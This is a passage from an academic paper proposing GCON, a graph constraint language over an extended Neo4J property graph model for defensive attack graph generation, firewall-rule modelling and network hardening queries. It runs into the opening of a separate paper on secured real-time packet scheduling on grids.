where each attack path is generated by initially placing an attacker at a different
location (i.e., at different hosts) in the network. Components of the model, which
we will partly reuse, will be explained in detail in Sect. 3. Interestingly, they
chose to use a relational schema to represent the graph. In their technique, both
the generation and analysis over attack graphs require recursive traversal of the
graph, which are implemented by embedding relational queries within do-while
loops, thus making the algorithms very inefficient.

Barik and Mazumdar [7] introduced a model based on Neo4J [3] graph data-
base that captures the same formalism as [30] and demonstrated that both the
generation as well as the analysis of attack graphs can be performed using a
property graph model but with improved efficiency. This model effectively exe-
cuted conjunctive regular path queries (CRPQs) [6] that directly report attack
paths as CYPHER [2] query results. However, this model was somewhat ad hoc
and did not exploit the full potential of the property graph model. For example,
the model did not utilize the fact that edges can have properties, leading to the
construction of more nodes than necessary to capture the same semantics, thus
making the model less compact. More importantly, their representation of the
attack graphs did not completely capture the full semantics of the network topol-
ogy and the constructive semantics of attack paths. Consequently, the model left
open the potential to produce “illegal” networks (e.g., a host with two distinct
services accessible through the same port) and thus make invalid queries that
may produce unsound results.

The contribution of this paper comes from the recognition that central reason
for the failure of the model in [7] is that it lacked a number of constraints that
network topologies and attack graphs must enforce. Since the standard Property
Graph Model [4] used in Neo4J does not natively support the specification of
these constraints, we propose a constraint specification language GCON (Graph
Constraint Language) over an extended version of the property graph model.
We then show that with these constraints the process of attack graph generation
and analysis will be sound with respect to any queries over the graph. Finally,
we show how our constraint model can be implemented in Neo4J.
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2 Related Work

Early research on graph based formalism for network security analysis includes
privilege graph [8], attack tree [22]. The concept of attack graph was first intro-
duced by Phillips and Swiler [20] in 1998. They used a form of attack graph
known as the state enumeration graph, where nodes represent possible system
state during execution of an attack and edges represent a change of state, caused
by a single action of the attacker. They used a custom algorithm for attack
graph generation that starts from the initial state and generates the graph iter-
atively matching attack templates to the configuration of the network system
and attacker’s profile. Model checking based techniques [21,23] also uses this
formalism for attack graph representation. Both these early approaches faced
significant exponential state-space problems even for moderate-sized networks.
MulVAL [18] is a logic programming oriented approach. It is based on the logi-
cal attack graph representation which shows logical dependencies among attack
goals and configuration information. Unlike the state enumeration graph, it does
not represent or encode the entire state of the network in it’s nodes. Size of log-
ical attack graph is polynomial to the network being analyzed. MulVal encodes
input data as Datalog facts and attack patterns as Datalog rules. Prolog logic
reasoning engine XSB then evaluates these rules over facts to compute attack
paths that satisfy a defined goal. Topological Vulnerability Analysis (TVA) [11]
adopts a topological approach to network vulnerability analysis and is based
on the exploit dependency graph formalism. It uses knowledgebase of known
vulnerabilities and attack techniques on a network and then finds out differ-
ent sequences of exploits or attack paths starting from attacker’s initial state
leading to compromise of critical network assets. The NetSPA [10] approach is
based on a new representation of attack graph, i.e. the multiple prerequisites
graph which scales linearly to the size of the network. For interactive on the fly
analysis of attack graphs Wang et al. [29] first proposed use of a database sys-
tem. They proposed a relational data model and showed how SQL queries can
be used for formulating standard attack graph based analysis tasks as well as
for attack graph generation. More recently NoSQL technologies, such as graph
databases have been used for attack graph processing. Barik and Mazumdar [7]
first presented a formalism for attack graph generation and analysis based on
Neo4j graph database. Noel et al. [15] used Neo4J for performing efficient attack
graph based analysis.

Other efforts aimed at using attack graphs for realizing different network
security related tasks; notable among them are IDS alert correlation and attack
prediction [17,27], network hardening [12,28] etc. Attack graph have been used
for measuring network security through number of security metrics such as net-
work compromise percentage (NCP) [13], weakest adversary [19], k-zero day
safety [26], reachable machines [16] metric etc. Attack graph based probabilis-
tic security metric [25] approach uses Common Vulnerability Scoring System
(CVSS) values for individual exploits and computes a cumulative score con-
sidering the causal relationship among exploits and security conditions. Attack
graph based forensic analysis tries to prove that a series of IDS alerts are part of
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a coherent attack plan. Liu et al. [14] proposed a solution where they have aug-
mented attack graphs with anti-forensic activity nodes that help in identifying
missing evidences.

3 Attack Graph Model

The model of attack graph we shall adopt in our work is based on the notion of
exploit dependency graphs. Here, exploit nodes represent attacks (exploitation of
certain vulnerabilities) and security condition nodes represent either the attack
pre conditions or post conditions. An exploit is defined by its pre and post con-
ditions. Directed edges from security condition nodes to exploit nodes (known as
require edges) represent preconditions of an attack of which all must be satisfied
for an attack to be successful. A directed edge from an exploit node to a security
condition node (known as imply edges) represents postcondition of an attack.
An advantage of exploit dependency graphs is that instead of modeling hosts,
exploits against vulnerabilities on hosts are modeled, thus reducing complexity.
On the other hand, this model requires information on low-level attack details
in form of pre and post conditions of exploits.

In Fig. 1 we illustrate a simple network configuration which will be used as
a running example for the rest of the paper.

Attacker

Firewall-2Firewall-1

DMZ

111.222.1.*

111.222.3.*

111.222.2.*

mysql
http ssh

h0

h2h1

h3 Server Domain

Workstation Domain

h4 h5 h6

Fig. 1. Example network configuration

In this network configuration Firewall-1 controls traffic between the external
and internal network. Host h0 is in the external network. In the DMZ of internal
network host h1 runs web service and host h2 runs ssh service. The web service
requires access to a back end database server which is running on host h3 in
server domain. Firewall-1 only allows http and ssh traffic to h1 and h2 respec-
tively, and blocks all other traffic. Firewall-2 allows access to the database server
coming from h1 only. Host h1 is running a vulnerable version of Apache web
server, which has a vulnerability (CVE-2006-3747) that allows remote attackers
to exploit and gain user privilege on the web server. The ssh service on h2 has a



Network Vulnerability Analysis Using a Constrained Graph Data Model 267

vulnerability (CVE-2002-0640), which allows remote attackers to gain user priv-
ilege. Database server h3 is a Linux box running MySQL database which has a
remotely exploitable vulnerability (CVE-2009-2446), enabling attacker to gain
user privilege. The Linux kernel in host h3 also has vulnerability (CVE-2004-
0495) which allows local user to gain admin privilege.

Attacker’s initial position at host h0 is assumed to be in a domain, outside
of the address space used by the organization. We call it as domain d0. DMZ
is domain d1, server domain is d2 and workstations are in domain d3. Hosts h4
and h5 in d3 form a sub-domain d3.1.

We consider firewall rules as five tuples 〈source ip, source port, destination ip,
protocol, destiantion port〉. Rule sets of Firewall-1 and Firewall-2 of our example
network are shown in Tables 1 and 2 respectively.

Table 1. Rule set of firewall-1

Rule Src IP Src Port Dst IP Dst Port Protocol Action

1 any any 111.222.1.1 80 tcp accept

2 any any 111.222.1.2 22 tcp accept

Rule 1 and 2 of Firewall-1 allows http and ssh traffic from any host in external
network to hosts h1 and h2 having IP addresses 111.222.1.1 and 111.222.1.2
respectively.

Table 2. Rule set of firewall-2

Rule Src IP Src Port Dst IP Dst Port Protocol Action

1 111.222.1.1 any 111.222.2.1 3306 tcp accept

Rule 1 of Firewall-2 allows access to the MySQL database server h3 from h1
only. IP address of h3 is 111.222.2.1 and the MySQL daemon is using TCP port
number 3306.

Figure 2 shows the exploit dependency graph for our example network. In
this figure, ovals represent exploit nodes. Edges coming into the exploit nodes
are require edges and identify pre conditions and that coming out are imply
edges pointing towards post conditions. Exploit nodes are labeled with CVE ids
of the corresponding vulnerabilities.

One of the inputs required for attack graph generation is reachability infor-
mation. Such information not only includes host to host reachability informa-
tion but also include process to process reachability information. Traditionally,
reachability analysis is done either online or offline. Online reachability analy-
sis is performed by injecting suitably crafted packets in the target network and
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http(h0, h1) user(h0) ssh(h0, h2)

user(h2) http(h2, h1)

mysql(h1, h3) user(h1)

user(h3)

root(h3)

CVE-2006-3747(h0, h1) CVE-2002-0640(h0, h2)

CVE-2006-3747(h2, h1)

CVE-2009-2446(h1, h3)

CVE-2004-0495(h3)

Fig. 2. Exploit dependency graph

then verifying their presence at different points in the network. But this tech-
nique can cause trouble when performed over production networks. On the other
hand, offline techniques build a model of the system (from network topology and
firewall/router rules) and then extract reachability information out of it. Both
the TVA and MulVAL attack graph generation approaches do not explicitly
model any kind of traffic filtering devices such as firewalls or routers. Rather they
assume availability of reachability information as input to the generation engine.
NetSPA tool [9] has an integrated reachability analysis component which uses
Binary Decision Diagrams to model firewall rules. In our model we have explic-
itly incorporated firewall rules as path constraints (discussed in next section)
which enable on the fly reachability resolution.

4 Extending Property Graphs

We first present a reference graph model over which we will define constraints.
This model will be a direct extension of the Property Graph Model (PGM) [4]
to suit our requirements.

Property Graph Model: The property graph model can be specified in terms
of the following definitions:

– N is a set of nodes, identified by an identifier n.id, n ∈ N
– E is a set of directed edges, identified similarly by e.id, e ∈ E with N ∩ E = ∅
– T,L: the sets of node (resp. edge) labels
– τ(n), N �→ T is a partial function that assigns a node label to n ∈ N . However

a node is not required to have a node label
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– ρ(e), E �→ L is a function that assigns an edge label to e ∈ E. Unlike nodes,
an edge is required to have an edge label

– AN : a set of node attributes
– AE : a set of edge attributes, where AN ∩ AE = ∅. Note that if the nodes and

edges have attributes of the same name, they will designate distinct attributes
– attn : N �→ Aj , Aj ⊂ AN : a function that assigns to node n a subset of node

attributes AN

– atte : E �→ Ak, Ak ⊂ AE : a function that assigns to edge e a subset of edge
attributes AE

– For n ∈ N the function schema(n) returns the schema i.e., the set of
(attribute, attribute-domain) pairs of node n.

Extended Property Graph Model: The Property Graph Model is inherently
schemaless so that every node and edge can have its own (possibly empty) set
of attributes, and leaves the application domain to enforce any further schema-
tization of nodes and edges if needed. We would like to create a provision for
defining optional schemas. Using this extension, an application will be able to
model the classic extended-entity-relationship model [24] and create class-level
and instance-level graphs. However another application may choose to have a
completely schemaless graph as intended by the Property Graph Model. This
flexibility enables us to natively handle a wider range of data applications, with-
ing burdening the user-level application with creating a fully consistent schema.
We will show that the network vulnerability analysis problem needs a hybrid
model where a part of the graph follows a schema while the others do not.
Henceforward, we call our model the Extended Property Graph Model (EPGM).
EPGM is influenced by RDF and OWL languages because it admits the notion
of subproperties. However, unlike RDF and OWL, EPGM retains the fact that
nodes and edges have local attributes.

To create the EPGM, we need to classify nodes and edges of the regular
Property Graph Model into separate groups. This is accomplished through the
following redefinitions.

– We first create three categories over nodes. In the new schema N = NE ∪NI ∪
NO where NE , NI and NO are mutually disjoint and represent entity nodes,
instance nodes and ordinary nodes respectively.

– Our next goal is to define a hierarchy over node labels. Let Troot be a special
node label, and let isa : T �→ T be a partial ordering function that induces a
tree over node labels T . We write this as t1

isa−→ t2. It follows from the partial
ordering property that isa is antisymmetric and transitive. We also assert that
the isa relation is reflexive.

– Similarly as the node labels, we can define a hierarchy over edge labels L. We
denote Lroot as the root of this hierarchy, and subprop as the partial ordering
relation between them.

– The hierarchy over node labels induces a new hierarchy over entity nodes. We
first assert that every entity node must have a label. Then, we relate the node
label hierarchy with a new hierarchy over entity nodes – thus, if n, n′ ∈ NE

and label(n′) isa−→ label(n) is true, we construct the edge n′ subclassOf−→ n.
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– Like nodes, the set of edges must also be partitioned. So, E = ET ∪EC ∪ES ∪
EO. ET is the set of edges between an instance node ni and an entity node
ne – these edges bear the label typeOf; EC represents edges between entity
nodes, ES edges represents instance edges, i.e., edges between instance node
pairs; EO is the set of ordinary edges as currently used by the Property Graph
Model. We add the restriction that every instance node can have a typeOf
edge to only one entity node.

– To ensure that an instance of an entity node has at least the same schema
as the entity node itself, we assert that the edge ni

typeOf−→ ne implies
schema(ni) ⊆ schema(ne). This implies that our model corresponds to what
AsterixDB [1] calls an open type; under an open type, an instance of an entity
is allowed to have additional attributes beyond what its entity permits.

– Finally, we model single inheritance by asserting that if n′ subclassOf−→ n then
schema(n) ⊆ schema(n′).

– Note that we have an asymmetry in the way node and edge labels are handled.
While instance nodes are related to entity nodes through an explicit typeOf
edge, edge labels of ES are not connected to EC directly. In the EPGM model,
having an edge between two entity nodes does not imply that there would be
an edge between two instance nodes corresponding to the entities. Further, two
instance nodes may have additional edges between them that are not declared
between their corresponding entity nodes.

A Surface Syntax for EPGM: We make a few simple extensions to Neo4J’s
CYPHER language to declare an EPGM graph. These changes are strictly on top
of the standard CYPHER language; the ordinary nodes and edges are declared
exactly as they would be in standard CYPHER. By design, a standard graph
declaration in CYPHER is also an EPGM declaration.

We present our extensions in the context of our running example. Here, we
consider a firewall (or a router) to be a kind of gateway device which filters traffic
between multiple domains. A domain is a maximal set of IP addresses such that
packets sent between any two addresses in that domain do not pass through
any filtering gateway. Hosts belong to respective domains and are identified by
unique IP addresses. A group of hosts in a domain can form a subdomain. A
subdomain is defined by either a set of IP addresses or a range of IP addresses.

To declare that a gateway is an entity node, with the properties ifCount,
ifIpAddr etc., we write

create (n::gateway {ifCount:"int", ifIpAddr:"string",
ifSubnetMask:"string", ... })
where the ::<label> specifies <label> is an entity type node. The attribute

types are deliberately modeled as strings with the idea that the EPGM inter-
preter would use this declaration to perform static type checking of instances to
ensure type conformity.

Next we declare that a firewall is a kind of gateway and fw1 is an instance
of a firewall, we write
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create (f::firewall::gateway)
create (fw1:>firewall {name:"fw1",ifCount:2,
ifIpAddr:"1.1.1.1,111.222.1.1",
ifSubnetMask:"255.255.255.0,255.255.255.0"})
where :> specifies an instance, and the <var>::<label1>::<label2> syntax

implicitly constructs the label tree where label1 isa−→ label2.
We define other entities to capture the input information required for attack

graph generation.

create (n::host {name:"string", ipAddr:"string",
macAddr:"string", os:"string"})
create (d::domain {name:"string", netIP:"string",
subnetMask:"string"})
create (s::service {name:"string", protocol:"string",
portNo:"int", swName:"string", swVer:"string"})
create (v::vulnerability {name:"string", cveId:"string"})
create (si::serviceInstance::service)

create (p::privilege{type:"string"})
create (exp::exploit{type:"string", srcIPAddr:"string",
dstIPAddr:"string"})
The entity node privilege represent attacker’s privilege at a host. The type

field of a privilege node identifies kind of privilege that attacker has i.e. either
user or admin. Edge instances and edge labels are declared in a similar fashion.
The memberOf edge connects a host to a subdomain/domain and a subdomain to
a domain. The connects edge connects a firewall with a domain. A privilege
node is connected via a privAt edge to the corresponding host node where the
privilege holds.

For representing information about host vulnerabilities we use the entity
nodes service, vulnerability and serviceinstance. There will be instance
nodes corresponding to services and vulnerabilities as discovered by the vulner-
ability analysis tool. Vulnerability nodes are attached to the service nodes via
hasVuln edge. For each service s discovered by the vulnerability analysis tool,
which runs at a host h we create a serviceInstance node with a instanceOf
edge to the service type node representing s and an atHhost edge to the host
type node h where it is running.

For our example network, the http, ssh and MySQL services are represented
by instances of service entity node; s1, s2 and s3 with hasVuln edges to
instances of vulnerability entity nodes v1, v2 and v3 respectively. Instances
of serviceInstance entity si1, si2 and si3 represent three instances of these
services with atHost and instanceOf edges to respective hosts and services.
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Fig. 3. Graph data of example network

Figure 3 shows the graph data of our example network.
The EPGM model borrows three intrinsic properties from OWL – each edge

in the EPGM model has built-in Boolean-valued properties called is symmetric,
representing bidirectional edges, is reflexive, representing the possibility of
having self loops and is transitive representing that the transitivity property
holds over any chain of that edge label. These properties are inherited by instance
edges.

5 GCON : A Constraint Specification Language for
Graphs

Logically, a constraint is a predicate that must either hold true or hold false.
In GCON , the constraint specifying predicates hold over nodes, edges, their
attributes and path patterns. We restrict these predicates to be conjunctive
for ease of evaluation. In the following, we introduce GCON through several
examples.

Uniqueness Constraint: A uniqueness constraint holds over node schemas.
For nodes n : T having the attribute set An = (a1, a2 . . . ak), the constraint
unique(n : T, (ai, aj)) is interpreted as ∀nx : T, ny : T ∈ N, (nx.ai = ny.ai) ∧
(nx.aj = ny.aj) ⇒ nx = ny. In a network, a host may be uniquely identified by
its IP address – we write this as

unique(n:host,n.ipAddr) [1]
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Examples of uniqueness constraints for other nodes are:

unique(s:service, s.servName, s.servProtocol)
unique(v:vulnerability, v.cveId)

Key Constraint: If n is an entity node with attribute set Ā, we can designate
a subset of attributes Āk ⊂ Ā such that for any instance node ni

typeOf−→ n,
unique(ni, Āk) and ∀ni

typeOf−→ n, nj
typeOf−→ n, ni.Āk = nj .Āk ⇒ ni.Ā = nj .Ā. In

our attack graph example, we think of a service (e.g., ssh) running at a host as
a serviceInstance entity whose key is defined by the destination host IP and
port where it is running. We write this as

primary-key(n:serviceInstance,(n.ipAddr, n.portNo)) [2]

Foreign Keys: Clearly, the ipAddr of a service instance is a foreign key from
the ipAddr, the primary key of the host entity node. In our model, we represent
foreign keys using a structural pattern. Assume that the entity schemas for host
and serviceInstance is already declared. We first declare an edge between
them.

create (s::serviceInstance)-[:atHost]->(h::host)
(s::serviceInstance)-[:instanceOf]->(s::service) [3]

Next, we assign “foreign key role” to the edges as follows.

set atHost.fk-role:[tail().ipAddr->head().ipAddr]
set instanceOf.fk-role:[tail().protocol->head().protocol]
set instanceOf.fk-role:[tail().portNo->head().portNo]

The constraint is enforced when the edge is instantiated.

Multiplicity Constraint: The multiplicity constraint is associated with an
edge label l, and specifies whether a node pair can have multiple edges with
label l, and if so, the maximum value on the multiplicity if any.

set multiplicity [:memberOf] = 1 [4]

The above declaration means, between a given pair of host and domain nodes
there can be at most one memberOf edge. In our example, all the edge labels
have multiplicity 1.

Degree Constraint: The degree constraint is also associated with an edge label
l, but it specifies a fan-in (resp. fan-out) constraint where we put a limit on the
indegree (resp. outdegree) of a node for edges with label l. Thus indeg(n, l) ≤ k
means that the indegree of node n for edges with label l is at most k. If not
stated explicitly, default value of degree (both in and out) of an edge is many.
For example, degree constraint of memberOf edge is specified as:

set degree ((h::host)-[:memberOf]->()) = 1 [5]
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It essentially enforces a constraint that allows a host to be a member of only
one domain/subdomain. As we have a default degree constraint the other way,
a domain is allowed to have many hosts and/or subdomains.

The connects edge has default degree constraint values.

Edge Pattern Constraint: An edge pattern constraint either explicitly
forbids or explicitly permits the construction of an edge pattern speci-
fied by node and edge conditions. It is used to define legitimate graph
topology in an application. An edge constraint pattern can be defined as
a denial of an edge between a specified set of nodes and has the form
¬((n1, e1, n2), (n2, e2, n3) . . . |φ1(n1), φ2(e), φ3(n2) . . .) where φ() is a predicate
local to the nodes and the edge.

We can deny an edge between a host node and a vulnerability node as:

deny (h:host)-[]-(v:vulnerability) [6]

where the bidirectional pattern prohibits the formation of edge in either
direction.

Path Constraints: Given a data graph, a query would often extract a path as a
sequence of connected edges that satisfy the query predicates. A path constraint
specifies a sequence of edges that cannot be composed into a path during any
query. This is in sharp contrast with edge pattern constraints that deny the
existence of the edge pattern rather than the traversal through it. Thus the
specification of the denial is in the form of a ECRPQ pattern [6] where the
result is a path variable, i.e.,

deny(χ) ←−
∧

1≤i≤m

(xi, πi, yi), Rj(ωj)

where xi, yi etc. are node variables, πi etc. are path variables, each ωi is a
path variable from πi and χ is a path variable from πi. So, the formula would
essentially deny paths that satisfy the conjunctive path expression (first term)
and path predicates (second term). Like edge pattern constraints, based on the
default settings (allow/deny) path constraints may either deny or allow con-
struction of a path.

We have used path constraints for incorporating firewall rules into our model.
Note that these constraints are of type allow, as firewalls mostly use default deny
policy. (In practice firewalls may have combination of allow and deny rules. In
that case the last rule is a wild card entry which either drops or allows a traffic
that doesn’t match any of the earlier rules.)

allow p=(h1:host)-[p1:memberOf..*]->
(d:domain {name:"d0"})<-[:connects]
-(fw:firewall {name:"fw1"})-[:connects]
->(d:domain {name:"d1"})<-[p2:memberOf..*]
-(h2:host{ipAddr:"111.222.1.1"})<-[:atHost]
-(si:serviceInstance{portNo:"80"}) [7]
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The above path constraint implements rule 1 of Firewall-1. It allows traffic
from any host h1 which is member of domain d0 or member of any subdomain
that is a member of domain d0 through firewall fw1 to port number 80 of a host
h2 with IP address 111.222.1.1 and h2 being member of domain d1 or member
of any subdomain that is a member of domain d1.

allow p=(h1:host)-[p1:memberOf..*]->
(d:domain {name:"d0"})<-[:connects]
-(fw:firewall {name:"fw1"})-[:connects]
->(d:domain {name:"d1"})<-[p2:memberOf..*]
-(h2:host{ipAddr:"111.222.1.2"})<-[:atHost]
-(si:serviceInstance{portNo:"22"}) [8]

Path Constraint [8] implements rule 2 of Firewall-1 in a similar fashion,
allowing traffic from any host in domain d0 to the ssh server in domain d1. Path
Constraint [9] implements rule 1 of Firewall-2, allowing only the http server in
domain d1 to connect to the MySQL server in domain d2.

allow p=(h1:host{ipAddr:"111.222.1.1"})-[p1:memberOf..*]
-> (d:domain {name:"d1"})<-[:connects]
-(fw:firewall {name:"fw2"})-[:connects]
->(d:domain {name:"d2"})<-[p2:memberOf..*]
-(h2:host{ipAddr:"111.222.2.1"})<-[:atHost]
-(si:serviceInstance{portNo:"3306"}) [9]

Notice that since the connects edges are directed outward from the firewall
nodes, the constraint presented in this example is not a directed path. The syntax
allow|deny <path-varaible> = <path-query> closely follows the CYPHER
query language.

Structural Constraints: Finally, we present an assertive structural constraint
in which a graph pattern pa must exist as a precondition of a second graph
pattern pa′ to exist. That is, pa′ ⇒ pa. structural pattern is a conjunctive
predicate over graph elements and may include a local negation (e.g., a certain
type of node or edge must be absent) and a predicate over a local aggregate
property of a node or an edge (e.g. indegree).

This can be illustrated through the example of an exploit node. Concep-
tually, an exploit node in an attack graph represents the phenomenon that an
attacker has exploited (i.e., made illegal use of) an existing vulnerability to gain
an illegal privilege at a target host.

Therefore, for an exploit node (pa′) to exist in an attack graph, one needs
to have the following configuration (a) the exploit node must satisfy k precondi-
tions, which are represented by edges labeled require in the attack graph, (b)
one of these require edges must emanate from a prior privilege node p1 that
the attacker must have acquired at a host h1, (c) the exploit node must have
one and only one outgoing edge to a different privilege node p2(�= p1) – which
represents the post-exploitation privilege gained by the attacker, and (d) p2, the
post-condition privilege must occur at a host h2, i.e., p2 must have an privAt
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edge to node h2. We do not require h1 to be distinct from h2, although in most
cases they will be distinct, (e) The exploit node must point to the vulnerability
that it exploits. This can be written as the following structural constraint.

(ex:Exploit) asserts
(p1:privilege)-[:privAt]->(h1:host),
(p1)-[:require]->(ex), p=()-[:require]->(ex),
(ex)-[:imply]->(p2:privilege),
(ex)-[:against]->(v:vulnerability),
(p2)-[:privAt]->(h2:host)
where count(p)<2 [10]

where the edge imply represents the post condition relationship and the against
edge relates the exploit node to the vulnerability. Note that, the set of configu-
ration requirements (a–d) may vary for different types of exploits and we need
to define structural constraints for each such type. Structural constraint [10]
holds true for all the exploits considered in our example.

6 Attack Graphs through GCON Lenses

Some recent research [7,15] has started implementing attack graph generation
and analysis algorithms using graph databases. In contrast, we believe that
adding a constraint layer on top of a graph database will automatically lead
to correct construction of network graphs and attack graphs and at the same
time will provide the means of semantic optimization that will compose analyt-
ical queries with constraints to evaluate queries more effectively. In this section,
we briefly illustrate how these goals are achieved through the GCON language,
using the example network configuration of Fig. 1.

Attack graph generation requires three kinds of input information.

1. Network topology information: This information is typically captured
automatically by tools like Nmap, Solarwinds etc.

2. Host vulnerability information and Firewall Rules: Vulnerability scan-
ner tools like Nessus, Openvas, Nexpose etc. automatically detects and reports
presence of known vulnerabilities in software. Firewall rules determine how
services in hosts are accessed.

3. Exploit dependency information: This information includes precondi-
tions on which an exploit is dependent for its successful execution and the
postconditions it generates. Typically this information is hand coded by
domain experts.

In Sect. 4 and 5 we have demonstrated how the first two kind of information
is captured in our model. The exploit dependencies are represented as structural
constraints, which guarantee the soundness of the generated attack graph. An
exploit against a vulnerability can be successfully executed if certain precon-
ditions exist. Examples of some pre conditions are (i) attacker having certain
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privilege (user/root) at a given host, (ii) existence of certain relationships such
as trust, between two hosts etc. Also, an exploit when executed generates certain
post conditions. Examples of pre conditions given above also qualify as examples
of post conditions. Given graph data of a network, this pre conditions and post
conditions can be expressed as graph structural patterns.

The set of pre conditions (both in number and type) needed for successful
exploitation of a vulnerability depends on its type. This is also true for the set
of post conditions that an exploitation of a vulnerabilty may generate. All the
vulnerabilities considered in the example network are of same type. For exploita-
tion of any of these vulnerabilities v of service instance si at destination host
hd from source host hs requires attacker to have user/root privilege at hs and
accessibility of si from hs. Note that, unlike in traditional exploit dependency
graph, we have not explicitly modeled this accessibility information in our attack
graph representation. This is because, a vulnerability is exploited only when it’s
accessibility pre condition is satisfied (among other preconditions).

6.1 Attack Graph Generation

The attack graph generation method in our case, iteratively builds the graph in
a forward exploration manner. Following description briefly sketches the steps
involved.

1. Find source hosts sh where the attacker has user/admin privilege
2. Find all services instances si, accessible from source host sh
3. Select those service instances which has a vulnerability not yet exploited from

the source host sh. If found none, stop.
4. For each such vulnerability, check whether preconditions are satisfied, if so,

(a) create exploit node
(b) create against edge from exploit node to vulnerability node
(c) create require edges from precondition nodes to exploit node
(d) create imply edges from exploit to postcondition nodes

5. Goto step 1

Figure 4 shows the generated attack graph (partial) after iterations 1 and 2.

6.2 Network Graph Analysis

A number of analyses can be performed on the properties of a network. For
the purposes of this paper, we consider the problem of semantic partitioning of
a network. In contrast to the familiar notion of topological connectedness of a
graph, a network is considered semantically connected if it is connected after
applying all denial constraints to it.
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(a) Iteration 1 (b) Iteration 2

Fig. 4. Attack graph generation

6.3 Attack Graph Analysis

IDS Alert Correlation: Alert correlation techniques for intrusion detection
systems (IDS) help in deciding whether an isolated alert is part of an ongoing
multi-step network intrusion. Attack graph based alert correlation involve first
mapping alerts to exploit nodes in the attack graph. In one formulation of the
problem, two alerts are said to be correlated if their distance is less than a
threshold in the attack graph [17,27].

A different formulation is to determine if two (or more) exploit nodes that are
marked as “alerted” can reach network hosts that are semantically connected,
which means nodes that are connected after applying all constraints to them.
Intuitively, if a firewall prevents a connection between host h1 and all worksta-
tions in domain d3, then despite the physical connection through the firewall,
the two belong to different semantic components of the network.

Network Hardening: An attack graph reveals the different ways network
resources can be compromised and can be used to harden a network through
judicious selection of vulnerabilities for either removal or patching. Such a hard-
ening solution should remove specific vulnerabilities so that none of the attack
paths leading to given critical resources can be realized [12,28]. So one way to
pose a network hardening problem is “which services, when removed, will lead
to removal of the maximum number of exploits? “To formulate this as a query
one can say” find services related to exploits along with the hosts the run on
and order them by the number of exploits for each service”. Thus,
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match (s:service)-[*]-(ex:exploit),
p=(s)-[*]->(si:serviceInstance)-[:atHost]->(h:host)
return p, count(ex) as num-exploits
order by num-exploits desc

Without any constraints, the native query plan in graph databases like Neo4j
will find all service nodes, serviceInstance nodes, host nodes and exploit
nodes by performing labelScan operations, and then perform variable-length
expand operations for the two * paths in the query. However, we can apply the
multiplicity constraint [4] degree constraint [5] and the structural constraint
[10], which has 6 component assertions that must hold and can be applied
independently. Using these constraints, the query can be rewritten as:

match (s:service)-[*]-(v:vulnerability)
<-[:against]-(ex:exploit),
p=(s)<-[:instanceOf]-(si:serviceInstance)-[:atHost]->(h:host)
return p, count(ex) as num-exploits
order by num-exploits desc

This rewriting eliminates one * operation and reduces the number of traversal
paths from service nodes to vulnerability nodes.

7 Implementation

As a proof of concept, we have implemented EPGM and GCON over popular
Neo4J [3] property graph database. Neo4J has support for native graph storage
and processing and uses separate store files for nodes, relationships, labels and
properties. On top of disk storage the Neo4J kernel handles transaction man-
agement, caching, logging, availability etc. Neo4J exports three types of APIs
to the user codes for graph manipulation. CYPHER is Neo4J’s built-in declara-
tive query language. Neo4j’s Core API is an imperative JAVA API that exports
the graph primitives of nodes, relationships, properties, and labels to the user.
This API provides much needed flexibility and is very fast as well. The Traver-
sal Framework is a declarative Java API. It enables the user to specify a set of
constraints that limit the parts of the graph the traversal is allowed to visit.

Neo4J also provides a pluggable infrastructure in form of unmanaged exten-
sions for implementing custom enhancements. This is particularly helpful for
application domains which require finer grain access to the underlying graph
data than that is provided by CYPHER. These extensions are implemented via
JAX-RS classes which can be reached via REST API. Our implementation (as
shown in Fig. 5) utilizes all the three API’s exposed by Neo4J for manipulating
graph data. The server extensions implement different graph constraints dis-
cussed in Sect. 5. The CYPHER+ compiler maps CYPHER like GCONgraph
constraint specifications to appropriate REST calls that implement the respec-
tive constraints. The constraints themselves are stored in a separate graph meta
database for persistence.
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Neo4J Kernel

Core API

Traversal API

CYPHER

User Program

Constraint Layer

CYPHER+

Fig. 5. Implementation of constraint layer over Neo4J

8 Conclusion

In this paper, we have proposed a graph constraint specification language GCON ,
over Extended Property Graph Model (EPGM) for attack graph based network
vulnerability analysis. EPGM enhances existing property graph model by intro-
ducing categorization of nodes and edges. It also optionally allows specification of
node and edge schema. We have shown that the task of attack graph generation
and analysis can be done faithfully by using different constraints in GCON , via
a proof of concept implementation of the proposed scheme on Neo4J graph data-
base as unmanaged server extensions. This work is an initial attempt to show the
feasibility of using graph constraints for application in attack graph analysis. We
have left the detail analysis of the proposed scheme and performance compari-
son with exiting approaches as a future exercise. We envisage that GCON is a
generic language framework and can also be used for other application domains
such as social network analysis etc.
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Abstract. The Secured Dynamic Scheduling Algorithm (SDSA) for
Real-Time Applications on Grid can enhance the QoS as well as the
security aspect of the packets for real-time applications or cyber-physical
systems. The existing scheduling algorithms for hard real-time applica-
tions are based on timing constraints and security requirements. Some of
them provide only authentication security service for the hard real-time
application and perform best only when the arrival rate of packets is low.
Performance, however, degrades when packet arrival rate increases since
they tend to focus only on security aspects and not on scheduling. This
paper tries to solve the above problems by using the secured dynamic
scheduling algorithm for real-time applications on the grid. Since main-
taining the desired security level may hamper the timely delivery of pack-
ets, SDSA tries to ensure guaranteed delivery with optimum security
using grid or computing elements (CEs). As new packets arrive at the
node, the packets are checked for feasibility criteria. A packet not satis-
fying feasibility criteria is forwarded to the adjacent node having least
accepted queue length and again checked for feasibility criteria. Com-
paring with some of the existing algorithms in this area, SDSA performs
well with respect to guaranteeing ratio (GR) and average security level
(ASL).

Keywords: Algorithms · Real-time application · Packet scheduling ·
Security · Network model

1 Introduction

Real-time applications depend on scheduling algorithms to guarantee the quality
of service (QoS) and reliability of the applications. The consequences of missing
deadlines of hard real-time systems may be disastrous whereas such consequences
for soft real-time systems are relatively less destructive [1]. Some of the exam-
ples of hard real-time applications are distributed defense application, medical
applications and all the applications related to surveillance [2]. Therefore, all the
c© Springer International Publishing AG 2016
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conventional real-time schedulers typically focus on timing constraints to guar-
antee timely delivery of packets. However, besides the timely delivery of packets,
such applications also have a strong need for security (example military applica-
tions). Unfortunately, the conventional wisdom of real-time scheduling systems is
inadequate for real-time applications with scheduling and security requirements.
This is mainly because traditional real-time scheduling systems are developed to
guarantee timing constraints while possibly posing unacceptable security risks
[3–5]. Consider a military application such as aircraft control system running on
parallel and distributed system [6]. Such applications need real-time information,
even over high latency links such as satellite communication, along with secu-
rity requirement. However in the process to ensure highest security level of the
packets, the computational overhead increases1, increasing the total processing
time and completion time. This increase in processing time may lead to failure
in the timely delivery of packets, hence rendering the system unreliable. Packets
for real-time time applications require different types of security services viz.,
